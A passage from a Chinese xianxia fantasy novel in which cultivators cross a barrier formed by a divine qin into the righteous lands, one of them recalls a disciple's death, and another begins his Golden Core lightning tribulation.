战争持续了数年之久,直到最后,正道至强者——一位名为苍梧的渡劫大圆满结束了一切。
她在弱水河上燃烧元神,以死亡为代价,将魔域之主杀死,并驱逐魔修,至弱水以东。
此战赢得惨烈。
苍梧在死前,将自己所铸造的神器伏羲琴抛入弱水河中。
琴在此前的战斗中损坏,琴弦崩裂,七徽四散,不知所踪。
只有坚固的琴身落入河流,化作结界,庇佑正道。
而她本人,则回归诞生之地,在死后化作绵延的山脉,被后世称为苍梧山。
“伏羲琴乃昆仑神木所做而成,它的琴弦取自恶龙五筋,七徽来自灵脉精华,又受苍梧尊者的大道加持,是实打实的上古神器。”
陆听澜:“对邪魔有着天然的克制能力,一般的魔修对付不了。”
“神器啊……”叶涛则听美了,不禁畅想起来:“小禾,你说,等会咱们过弱水河时,神器会不会突然现身,说什么我是天纵奇才,然后认我为主?”
“……”
小禾直接推开这个男人。
旁边的陆听澜也顺势给了他一肘击,又提到:“不过化神期以上的强者确实有摧毁结界的能力。”
他回忆了一下:“大概在一百年前吧,大邑的魔君曾率魔兵突破结界,在正道边界上兴风作浪过一段时间。”
一百年前……
“啊。”
小禾听到这些话,头都大了:“那时候我外婆都还没出生呢。”
陆听澜失笑一声:“其实我也是听长辈提过一嘴。如果你想了解这件事,最好的办法是问秦道友。”
小禾疑惑:“为何漪姐会知道?”
“因为当时是我师祖出手镇压的。”
正此时,清冷淡声袭来,秦无漪白衣飘飘,平静作答。
她的师祖,是长黎山的剑阁阁主,也是天下少有的合体修士。
世称无极剑尊。
此人无情道大成,于长黎山坐镇时,四海之内,无人胆敢来犯。
也就是她在百年前,曾降临正道边界,以一己之力拔剑阻挡魔修入侵。
此举振奋人心,激励了原本生活在边界的修士,许多人升起信心,加入抵抗魔修的队伍。
最终,大邑魔君震怒,与无极剑尊在弱水河上厮杀。
那是惊天动地的一战。
强者伟力,使山脉倾塌,河水断流。
而战争的结果,是大邑魔君做出妥协,选择退回弱水河东岸,不再来犯。
秦无漪话尽,四周一片寂静。
隔了很久很久,才有个声音响起。
“无极?”
是楚袖云。
她:“你是她徒孙?”
12. 金丹雷劫
楚袖云好像只是顺嘴问了一句。
在得到肯定的回答后,眼神偏移了一瞬:“嗯……”
表情微妙。
见状,秦无漪心中微微一动,嘴比心快:“前辈认识我师祖?”
虽然楚袖云已和他们互通了姓名,但秦无漪还是习惯喊她前辈。
而现在,前辈摸摸鼻子,不假思索的回答:“没有。”
说罢,也不管其余人表情,又一个转身,眨眼功夫就消失了。
又跑。
秦无漪唰的站起身。
众修士只觉清风拂面,一阵风刮过,再定睛一看,原地哪里还有秦无漪的身影。
宽阔的过道上。
二人正在你追我赶。
楚袖云:“干嘛跟着我。”
秦无漪脚步飞快:“前辈回房间吗?”
楚袖云过了转角:“不回。”
“既然不回,”秦无漪顺势与她并肩而行,“咱们去吹吹风,看看风景可好?”
“小秦道友。”
楚袖云有些懒懒的:“你想问什么?”
秦无漪:“没什么想问的。”
反正问了,也不一定能得到真话。
只是秦无漪想不明白,她分明认识自己师祖,又为何要否认呢?
这应该也不是什么不能说的秘密吧?
小秦道友捉住楚袖云手臂:“只是想和前辈多相处一会。”
飞舟马上就要抵达弱水河,大家进入正道之后,便会就此四散分别,各回各家。
人与人短暂的相聚在一起,又各自分别,走上自己的道路。
秦无漪心中有微薄的不舍之情,她问道:“可以么?”
楚袖云并无所谓:“随便吧。”
飞舟庞大,过道宽敞,二人并肩行走,漫步至船尾。
船尾无人,视野很开阔,两位女修搭上栏杆,安静的吹着风。
云海在船下翻腾,如河水般流淌。
不远处,弱水河的轮廓越发清晰。
也就是此时,秦无漪才忽然意识到一件事。
“前辈,你能穿过结界吗?”
“嗯?”
楚袖云偏头,懒懒的看她一眼,显然是一副状况外的表情。
秦无漪严肃的皱起眉来。
就楚袖云的表现来看,她明显是对结界的特性一无所知。
她不知道自己无法通过结界,倘若届时被结界阻拦,她又会做出什么事呢?
秦无漪脑中窜出一个答案。
强闯。
而强闯的后果有三个,要么是结界破碎,要么是楚袖云失败,要么就是两败俱伤。
她的眉越拧越紧,一颗心几乎要跌进谷底。
“说话说一半。”
楚袖云等了半天不见下文:“发什么呆。”
对方蓦然回神,语气冷静,却似绷着一根弦:“前辈有所不知……”
她顿了顿,又一字一句,吐字清晰:“前方的结界,不能供筑基以上的修士通行。”
气氛瞬间安静。
双双静默中,楚袖云道:“是吗?”
在秦无漪默不作声,沉默严肃的表情中,心魔沉思:【好像是吧……】
【不对。】
它转念一想:【那我们之前是怎么进魔域的?】
“……”
楚袖云:“嗯……”
好问题。
楚袖云进入魔域的时间,要追溯到一百年前,那时她心魔丛生,意识混乱不堪,在此状况危机之际,被一个人带走。
此人叫谢缠。
是楚袖云唯一的弟子。
他突然出现,带走了痛苦的楚袖云。
二人日夜不辍,一同奔赴魔域,最后在边界被截杀。
大脑钝钝的,直发疼。
随着记忆片段浮起,楚袖云揉着胀痛的头部,看见支离破碎的画面。
“可惜无法再陪伴师父了。”
血濡湿了衣袍。
谢缠捂住洞穿的腹部,大口大口吐着鲜血。
剧痛令他浑身战栗,发抖,可他的眼神如此狂热、敬畏、期待。
“真遗憾……”
他是噬人的妖花,眉眼艳丽多情,神态妖异又纯良。
附耳以气音说话,声音小得如同在诉说秘密。
他说:“师父。”
“可惜我不能……”
“不能……”
话止于此,他住口。
没在说下去。
临死之际,他眼中没有恐惧。
天真、憧憬、向往。
犹如狂信徒。
在偏执疯狂中启动传送阵法,而后露出满足的笑。
【草。】
心魔:【所以咱们是被传送进来的。】
楚袖云:“嗯……”
心魔:【这么淡定,你有办法?】
【没有。】
楚袖云难得和它传音。
一句话却把魔耍得团团转。
【你够了。】心魔无语,【把我当狗耍?】
小蛇叽歪几句,又听楚袖云淡然道。
【我们本来不就能自由出入结界吗?】
蛇没反应过来:【什么呀?】
“结界由伏羲琴所化。”
在飞舟落地,抵达结界的时刻。
楚袖云抬手,电光闪烁,剑落入掌心。
名为如意的本命剑出现,其剑柄上镶嵌的琥珀色玉徽剔透。
那是灵脉精华。
是伏羲琴被摧毁时,四散崩裂,不知所踪的七徽。
它与结界同源,是天然的钥匙,能让人自由穿梭。
结界又如何能阻挡楚袖云的脚步呢?
此人勾笑,眉宇轻佻,有些风流。
【爹的……】
心魔隔了良久,才蹦出两个脏字。
它嫉妒到声音发抖,恨得咬牙切齿:【你是天道宠儿吧……】
激动心情难以言表。
众人陆陆续续下了飞舟,顺利的穿过结界,进入八圣境。
八圣境是正道地盘的统称,因为由八个受天地孕育而生的大境组成,所以大家都称之为八圣境。
八块大境的名字取自八卦,简称为:乾、兑、离、震、巽、坎、艮、坤。
此时他们进入的大境,就是和魔域接壤的艮山境。
此境多山脉,所以村落分散,几位修士商量了一番,又留了传讯方式,便以两位修士、七个凡人为一组,就此辞别队伍。
大家都踏上归途,小禾也即将归家。
她家中有等候她与兄长的母亲,自然不好多做停留。
“但漪姐你要等我啊。”
她恋恋不舍的拉着秦无漪的手:“为了让我娘安心,我要回家一趟。但我不会待很久,到时候我来找你噢!”
秦无漪含笑与之告别,目送大家离开,又转眼看向楚袖云。
对方正被叶兰驱纠缠。
“前辈。”
身为鹤端砚的弟子,叶兰驱觉得有必要要跟随师父的步伐,但他在楚袖云面前有些怂,哼哼唧唧道:“你能把我师父给放了吗?”
胆子小小。
梦想大大。
楚袖云钦佩他
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的勇气,回复:“不能。”
这种僵持不下的局面,还得秦无漪出马。
毕竟这二人当中,有位修士惯来不爱多做解释。
“你师父突破在即,前辈要带他离开,去渡雷劫。”
早在飞舟上时,秦无漪就发现鹤端砚灵力外渗,隐隐有突破迹象。
在明白这点后,她安抚叶兰驱的手段简直得心应手:“莫要担心,此去不过数日,他们还会回来的。”
真的吗?
叶兰驱是生怕鹤端砚一去不返,当即犹豫的用眼神示意。
“自然不会有假。”
秦无漪神色坦荡,极其肯定的回答他,又转头,与楚袖云对视。
她目若悬珠,明亮光彩,微笑道:“我说的对吧?前辈。”
臭丫头脑子转得飞快。
楚袖云微微眯眼,又蓦然笑起来,牙齿森白:“小秦道友,你可真聪明啊。”
被闹得没脾气。
楚袖云:“过几日就回来。”
说罢,便抱着人飞身离开。
想在艮山境内寻一处宝地并非难事。
离开不过半晌,楚袖云就寻到一处山洞。
洞的三面是石壁,顶部有孔,下方有泉。
此时天光狭窄,斜斜垂落一束日光,不偏不倚的照进灵泉,照得雾气柔白,光虚幻似泡影。
倒是极佳的闭关之所。
楚袖云将鹤端砚放入泉水中,他的身体便自发的开始运转周天,引气入体。
在隐隐呈现旋涡状的灵气里,楚袖云盘膝而坐,静静等待。
时日偏移,日月轮转,修士不知年月,眨眼间,便是三日后。
灵气愈发凝实,在空中呈现乳白色光芒。
光中,隐隐现出人影。
沉冷的剑鞘轻敲在肩头:“摸到屏障了吗?”
屏障……
什么屏障?
鹤端砚的意识还很模糊,朦胧间,低语声引导他运转周天,化气为己用,又顺着奇经八脉流淌,最终沉进丹田。
哗、哗。
灵力如潮水,拍打礁石。
鹤端砚终于摸到了屏障。
屏障无形,却像个罩子似的,阻碍着他力量的攀升,他调动灵力向那处涌去,一次、两次、三次……
数不清多少次的冲击,屏障终于被撞出裂纹。
咔擦。
随着破碎声响起,他缓缓睁眼。
五感从内视的状态下脱出,回归身躯的那一刻,他听到风云怒吼。
还有天旋地转的晕眩。
是女修在他没反应过来之前就跃入泉中,将人抱起往山洞外跑去。
她比他略高一些,大抵是高出半个头,鹤端砚被她抱起来时,下意识扶住对方肩膀,下巴抵到对方头顶,还有点懵:“怎么了?”
“好道友啊,自然是你的金丹雷劫。“
楚袖云将他放在空旷山谷,不太正经,笑眯眯的说了声你加油。
“抗完雷劫咱们就回城。”
“那山洞硬邦邦,一点也不好躺。”
此人拍拍他肩,说完便腾空而起,消失在他眼前。
空中的乌云开始聚集,黑得仿佛能滴出水来。
在布满天空的云层中,雷霆隐隐闪现,迸发璀璨金光。
劫雷将至,声音隆隆作响,激得人神魂战栗,皮肉发麻。
鹤端砚回过神来。
他缓缓站起,在天威的极致压迫下,灵力倾巢而出。
此人扬首,望向漆黑中的炽热雷光。
青眸明亮灿然。
“来。”